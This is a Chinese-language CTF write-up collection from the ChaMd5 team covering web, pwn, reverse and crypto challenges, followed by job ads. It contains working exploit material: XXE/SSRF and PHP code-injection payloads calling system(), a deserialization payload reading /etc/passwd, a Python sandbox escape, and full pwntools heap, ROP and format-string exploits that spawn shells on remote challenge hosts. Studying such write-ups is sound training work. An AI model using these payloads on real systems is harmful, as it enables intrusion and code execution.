招新小广告
ChaMd5 ctf组 长期招新
尤其是reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org
解题思路 任意文件下载: url = "http://68.183.31.62:94/download?file=%s&hash=%s" % (path, hashlib.md5(path).hexdigest())
获取源码
web 文件:
[web-01.zip](https://uploader.shimo.im/f/jU2gY04MBOY5Swzp.zip)
custom 路由存在 xxe
但是无法列目录,所以得利用 SSRF 去访问 admin的sort
POST /custom HTTP/1.1
Host: 68.183.31.62:94
Content-Length: 167
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/admin" >]>
<root><name>&xxe;</name></root>
admin.php usort 部分有代码执行:
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
利用如下:
aa,1);} system(whoami); /*
为了防止引号问题,把 命令执行的内容用 php chr 方式组合起来,于是就变成
aa,1);} system(CHR(119).CHR(104).CHR(111).CHR(97).CHR(109).CHR(105)); /*
套进 xxe 里,访问 http://127.0.0.1/admin?rss=xxxx&order=代码执行exp
解题思路 /index.php?gg=O:5:%22SHITS%22:2:{s:10:%22%00SHITS%00url%22;s:18:%22file:///etc/passwd%22;s:13:%22%00SHITS%00method%22;s:4:%22doit%22;}
golang 模版注入,提交 {{$.Request}} 就出来了,比赛的时候没做出来。
print ().class__._base_.__subclasses() 这个可以看到一些属性,但是 用它的属性网站就挂了 []/,/getitem/getattribute都被过滤了 可以用pop来绕过过滤,拿到要用的子类
t = ().__class__.__base__.__subclasses__()
t.sort()
t.reverse()
t.pop()
t.pop()
t.pop()
t.pop()
t.pop()
t.pop()
t.pop()
q = t.pop()
找到catch_warning,继续找到import
b = q()._module.__builtins__
b = b.values()
for i in b:
try:
if '__i'+'mpo'+'rt__' in i.__doc__:
s=i("s"+"u"+"b"+"p"+"r"+"o"+"c"+"e"+"s"+"s")
print s.check_output('l'+'s')
except:
pass
总体的链就是 ().class__._base_._subclasses_() -> catch_warning._module.__builtins -> import
解题思路 SHA256、MD5 附件: md532_0-0.txt https://uploader.shimo.im/f/yE4yPvKtVeo4BpKk.txt附件: sha256_0-1400.txt https://uploader.shimo.im/f/uEKZjgjoaJwxFK24.txt
最后拼接 附件: Alphabet.txt https://uploader.shimo.im/f/RCQhXVjt8OcYNiBG.txt 在Alphabet.txt中查找下F#开头的字符串,发现
leak puts->find puts f7586f10->get libc2.26->leak libc->system("/bin/sh")
from pwn import *
context.log_level="debug"
p=process("./leakless")
p=remote("35.243.188.20",2002)
#gdb.attach(p)
p.send("a"*0x48+p32(0x804a800)+p32(0x80483f0)+p32(0x80485CB)+p32(0x804a014))
s=u32(p.recv(8)[4:])-0x0067f10+0x0003d540
p.recvuntil("\n")
s1=s-0x3d540+0x1794d1
#gdb.attach(p)
p.send("a"*0x48+p32(0x804a800)+p32(s)+p32(0x80485CB)+p32(s1))
p.interactive()
free tcache chunk->edit fd->malloc chunk in bss->show stdin_addr->leak libc->fastbin attack(edit fd)->malloc chunk in bss->overwrite buf ->overwrite __free_hook(system_addr)->get shell
from pwn import *
context.log_level='debug'
def new():
p.sendlineafter("> ","1")
def edit(note):
p.sendlineafter("> ","2")
p.sendafter("Content? ",note)
def delete():
p.sendlineafter("> ","4")
def show():
p.sendlineafter("> ","3")
p.recvuntil("Content: ")
return p.recvuntil("\n")
def fill(note):
p.sendlineafter("> ","1337")
p.sendafter("Fill ",note)
#p=process("./babyheap")
p=remote("35.243.188.20",2000)
new()
delete()
edit(p64(0x602098))
new()
fill(p64(0x71)+p64(0)*4+p64(2)+p64(0x602091))
libc_addr=u64("\xe0"+show().strip()+"\x00\x00")-0x03da9e0
fill("kirin")
delete()
edit(p64(0x602090))
fill("kirin")
fill(p64(0)*4+p64(2)+p64(libc_addr+0x3dc8a8-8))
edit("/bin/sh\x00"+p64(libc_addr+0x00047dc0))
delete()
#gdb.attach(p)
p.interactive()
格式化字符串+伪随机预测:
int main(){
int i;
int seed;
scanf("%d",&seed);
srand(seed);
for(i = 0; i < 300; i++)
{
printf("%d ",rand());
}
printf("\n");
}
EXP:
from pwn import *
from time import *
context.log_level='debug'
now=int(time())/10+2
p1=process("./time_pwn")
p1.sendline(str(now))
rand=p1.recvuntil("\n").strip().split(" ")
print rand
p1.close()
p2=remote("challs.fireshellsecurity.team",31006)
p2.sendafter("What is your name? ","aa%11$hn"+p64(0x602020))
for i in range(99):
p2.sendlineafter("number: ",rand[i])
print p2.recv()
p2.interactive()
对程序自定义了 RUNPATH,题目提供了libc 2.29,对tcache加入了保护机制 不过题目出的灵活性太大,很好绕过: edit->off by one leak libc->unsorted bin attack->malloc note 2&4 in same chunk->free 4->edit fd->malloc chunk in __free_hook->overwrite __free_hook(system_addr)->system("/bin/sh")->get shell
from pwn import *
def add(length,note):
p.sendlineafter("> ","1")
p.sendlineafter(": ",str(length))
p.sendafter(": ",note)
def edit(index,note):
p.sendlineafter("> ","2")
p.sendlineafter(": ",str(index))
p.sendafter(": ",note)
def show(index):
p.sendlineafter("> ","3")
p.sendlineafter(": ",str(index))
p.recvuntil("Quote: ")
return p.recvuntil("\n-")[:-2]
def delete(index):
p.sendlineafter("> ","4")
p.sendlineafter(": ",str(index))
context.log_level="debug"
#p=process("./quotes_list")
p=remote("35.243.188.20",2005)
#leak libc
add(0x508,"a"*8)
add(0x508,"a"*8)
delete(0)
add(0x508,"\n")
libc_addr=u64(show(0)+"\x00\x00")-0x3aec0a
print hex(libc_addr)
delete(0)
delete(1)
delete(2)
add(0x28,"kirin")
add(0x500,"kirin")
add(0x28,"kirin")
add(0x4f0,"kirin")
edit(0,"b"*0x28+"\x41")
delete(1)
add(0x500,"kirin")#1
add(0x28,"kirin")#4
delete(4)
edit(2,p64(libc_addr+0x3b08c8))
add(0x28,"/bin/sh\x00")#4
add(0x28,p64(libc_addr+0x041bf0))
delete(4)
p.interactive()
用 process monitor监控了题目的执行情况发现 在本地的一个目录下边生成了一个.flag 的文件 打开是这一句话,说明用process monitor分析其行为应该没错, Just kidding, this is'nt the flag. But keep going =)
继续分析他的行为,发现它老是查看题目当前路径的上一路径,有没有一个叫base64.exe的程序,所以我自己写了一个测试程序,看是否会调用,放到对应目录, 发现居然调用了,所以猜测可能是调用它来解密的。所以直接写了个程序打印出 它传的参数。然后拿到base64,再解码: base64程序如下,就是为了获得主程序传给他的参数而写的!
#include<stdio.h>
int main(int argc,char *argv[])
{
if (argc >= 2)
{
for (int i = 0; i < argc;++i)
printf("%s\n", argv[i]);
}
else
{
printf("error");
}
getchar();
return 0;
}
解题思路
如果有config文件就会弹窗
读了这些奇怪的东西..都是游戏防作弊的。
题目说明 根据提示,和分析程序,应该是要在终端里边打印提示的内容,然后以F#{}格式的内容跟着调试,发现应该只有一条路可以走,所以提取那条路的内容写keygen,之前走了弯路跟了20个线程,后来去验证了下,还好没有跟完所有的线程 keygen: table=['#', 'G', '1', 'V', 'W', 'k', '9', '2', '{', '5', 't', 'o', 'O', 'n', 'C', 'Q', 'F', '6', 'z', 'X', 'p', 'i', 'f', 'D', 'h', '8', 'S', 'd', 'Y', 'l', 'e', 'v', ' ', 'u', 'q', '0', 'R', 'M', 'a', 'j', 'K', 's', 'r', 'H', 'U', 'x', '}', 'I', 'y', 'T', 'b', 'g', 'A', 'm', '3', 'L', '4', 'B', 'c', 'N', 'E', 'Z', 'J', '7', 'w', 'P' ] goal="H4ck1ng Fl4m3s In th3 Sh3lL" d=[27,-21,65,72,50,94,0,63,66,22,62,-2,60,74,69,48,90,82,41,73,62,63,39,79,-2,20,23] c=0 for i in goal: index=table.index(i) print chr(index+d[c]), c+=1
题目说明 一个简单的vm,不过程序没有输入的地方,只是单纯执行了内置的一段指令,程序处理指令的逻辑如下:
switch ( (unsigned int)&savedregs )
{
case 0u:
++i;
++step;
v0 = (void *__ptr32 *)buf;
buf[i] = INS[step];
break;
case 1u:
v1 = i--;
v2 = buf[v1];
v3 = i--;
v4 = buf[v3] + v2;
++i;
v0 = (void *__ptr32 *)buf;
buf[i] = v4;
break;
case 3u:
END_FLAG = 0;
LODWORD(v0) = puts("Program executed successfully!");
break;
case 4u:
v5 = i--;
v6 = buf[v5];
v7 = i--;
v8 = v6 * buf[v7];
++i;
v0 = (void *__ptr32 *)buf;
buf[i] = v8;
break;
case 5u:
v9 = i--;
v10 = buf[v9];
v11 = i--;
v12 = buf[v11] / v10;
++i;
v0 = (void *__ptr32 *)buf;
buf[i] = v12;
break;
case 6u:
v13 = i--;
v14 = buf[v13];
v15 = i--;
v16 = buf[v15] - v14;
++i;
v0 = (void *__ptr32 *)buf;
buf[i] = v16;
break;
default:
return (signed int)v0;
}
打印执行的效果如下:
buf[0] = 46
buf[1] = 61
buf[0] = buf[0] + buf[1] = a7
buf[1] = a7
buf[2] = 5
buf[1] = buf[1] * buf[2] = 343
buf[2] = 343
buf[3] = 7
buf[2] = buf[2] * buf[3] = 16d5
buf[3] = 16d5
buf[4] = 5c
buf[3] = buf[3] - buf[4] = 1679
buf[4] = 16d5
buf[5] = 9
buf[4] = buf[4] * buf[5] = cd7d
buf[5] = cd7d
buf[6] = 1
buf[5] = buf[5] * buf[6] = cd7d
buf[6] = cd7d
buf[7] = 48
buf[6] = buf[6] - buf[7] = cd35
buf[7] = cd7d
buf[8] = 59
buf[7] = buf[7] - buf[8] = cd24
buf[8] = cd7d
buf[9] = 38
buf[8] = buf[8] - buf[9] = cd45
buf[9] = cd7d
buf[10] = 24
buf[9] = buf[9] + buf[10] = cda1
buf[10] = cda1
buf[11] = cd5b
buf[10] = buf[10] - buf[11] = 46
buf[11] = cda1
buf[12] = cda1
buf[11] = buf[11] - buf[12] = 0
buf[12] = 23
buf[13] = 38
buf[12] = buf[12] - buf[13] = -15
...
buf[526] = 22965
buf[527] = 22965
buf[526] = buf[526] - buf[527] = 0
------end-------
可以大概看出在进行几道算式的计算(包括加减乘除),其中以计算结果为0作为分界点,又因为flag格式为F#{},可以观察发现正好符合buf[0]、buf[12]…的ascii码,也就是计算结果为0的下一个操作码的值,逐一取出拼接得到flag:F#{Cu5t0m_vm5_ar3_r3ally_c00l!}。
dephi程序,加了upx壳,脱壳后找验证的地方,可以很容易找到点击解锁时的按钮事件处理函数TFrmMain_Button1Click,主要逻辑是先检查输入序列号位数必须全部满足5位,之后拼接得到25位的注册码作为密钥循环和程序的out资源文件进行异或解密,得到包含flag的png图片。由于循环异或的特殊性,再加上PNG一些标志性值,不难反推出正确的注册码。 异或解密:
在check函数(sub_5DAC8C)对解密后的内容进行校验:
后面内容就没细看了,现在掌握的信息已经可以开始猜解key了,写脚本得到key为CTCVWYHYP9F2X4Y8MQBV6VK7D,解密图片得到flag。
import zlib
with open("out","rb") as f:
d = f.read()
def guess_key():
global d
header=[0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a,0x00,0x00,0x00,0x0d,0x49,0x48,0x44,0x52,0x00,0x00,0x00] # PNG
key = ""
for i in range(len(header)):
key+=chr(ord(d[i])^header[i%len(header)])
print key
# CTCVWYHYP9F2X4Y8MQ
key = ""
tail = [0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82]
for i in range(len(tail)):
key+=chr(ord(d[-12:][i])^tail[i%len(tail)])
print key
# VK7DCTCVWYHY
# CTCVWYHYP9F2X4Y8MQXXXVK7D
def checkcrc(data,checksum):
calc_crc = zlib.crc32(data) & 0xffffffff
if calc_crc != checksum:
return 0
else:
return 1
def crack():
crc=0x61C00E6F
for i in range(256):
for j in range(256):
width = chr(i)+chr(j)
ihdr_data = "IHDR\x00\x00%s\x00\x00\x00G\x08\x06\x00\x00\x00"%width
if checkcrc(ihdr_data,crc):
print "Key: CTCVWYHYP9F2X4Y8MQ%c%c6VK7D"%(i^0x43,j^0x1c)
crack()
key = "CTCVWYHYP9F2X4Y8MQBV6VK7D"
key = [ord(i) for i in key]
s = ""
for i in range(len(d)):
s+=chr(ord(d[i])^key[i%len(key)])
with open("dec.png","wb") as f:
f.write(s)
# F#{D3lph1_D3lph1_D3lph1}
简单签到题 进入 irc聊天室 https://discord.gg/MjX6WXy 找到recon标签,进入聊天室,标题就有flag
矩阵快速幂
from pwn import *
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256
import numpy as np
context.log_level="debug"
def k(i):
p=13371337
a=np.array((4,2,1),dtype=int)
b=np.array([[1,1,0],[1,0,1],[1,0,0]],dtype=int)
if i<=3:
return a[3-i]
i=i-3
while i!=0:
if i%2==0:
b=b.dot(b)%p
i=i/2
else:
a=a.dot(b)%p
i=i-1
return a[0]
if len(sys.argv)==1:
conn=process(pwn_file)
pid=conn.pid
else:
conn=remote("35.231.144.202",2006)
def brute_force(s):
return bruteforce(lambda x:sha256(x).hexdigest()[-6:]==s,string.ascii_letters+string.digits,length=5)
#data=conn.recvline(keepends=False)
conn.recvline()
data=conn.recvline()
#s=parse("sha256(string)[-6:]: {}",data)
s=data[-7:-1]
print('1',s,'s')
conn.sendline(brute_force(s))
conn.recvuntil('Press start:')
conn.sendline('start')
for t in range(30):
conn.recvuntil('N:')
j=int(conn.recvline()[:-1])
print(t,'=',j)
conn.sendline(str(k(j)))
conn.interactive()
【
本文来自 ChaMd5安全团队,文章内容以思路为主。
如需转载,请先联系ChaMd5安全团队授权。
未经授权请勿转载。
】
ChaMd5安全招聘
北京安全元素科技有限公司
安全开发
http://www.chamd5.org/jobdetail.aspx?id=656
弘连网络
逆向分析安全工程师
http://www.chamd5.org/jobdetail.aspx?id=657
北京墨云科技有限公司
高级安全研发工程师
http://www.chamd5.org/jobdetail.aspx?id=660
机器学习专家
http://www.chamd5.org/jobdetail.aspx?id=659
渗透测试工程师
http://www.chamd5.org/jobdetail.aspx?id=658
腾讯安全云鼎实验室
安全攻防研究员
http://www.chamd5.org/jobdetail.aspx?id=661
安全产品Web前端开发
http://www.chamd5.org/jobdetail.aspx?id=662
上海观安信息技术股份有限公司
高级安全产品经理
http://www.chamd5.org/jobdetail.aspx?id=663
北京金睛云华科技有限公司
网络安全工程师(可实习)
http://www.chamd5.org/jobdetail.aspx?id=664
几维安全
初级安全技术支持工程师
http://www.chamd5.org/jobdetail.aspx?id=665
深信服
产品管理运营
http://www.chamd5.org/jobdetail.aspx?id=666
安全攻防专家
http://www.chamd5.org/jobdetail.aspx?id=667
威胁情报专家
http://www.chamd5.org/jobdetail.aspx?id=668
反病毒专家
http://www.chamd5.org/jobdetail.aspx?id=669
漏洞安全专家
http://www.chamd5.org/jobdetail.aspx?id=670
Windows内核专家
http://www.chamd5.org/jobdetail.aspx?id=671
Windows内核开发工程师
http://www.chamd5.org/jobdetail.aspx?id=672
病毒引擎技术专家
http://www.chamd5.org/jobdetail.aspx?id=673
安全攻防研究
http://www.chamd5.org/jobdetail.aspx?id=674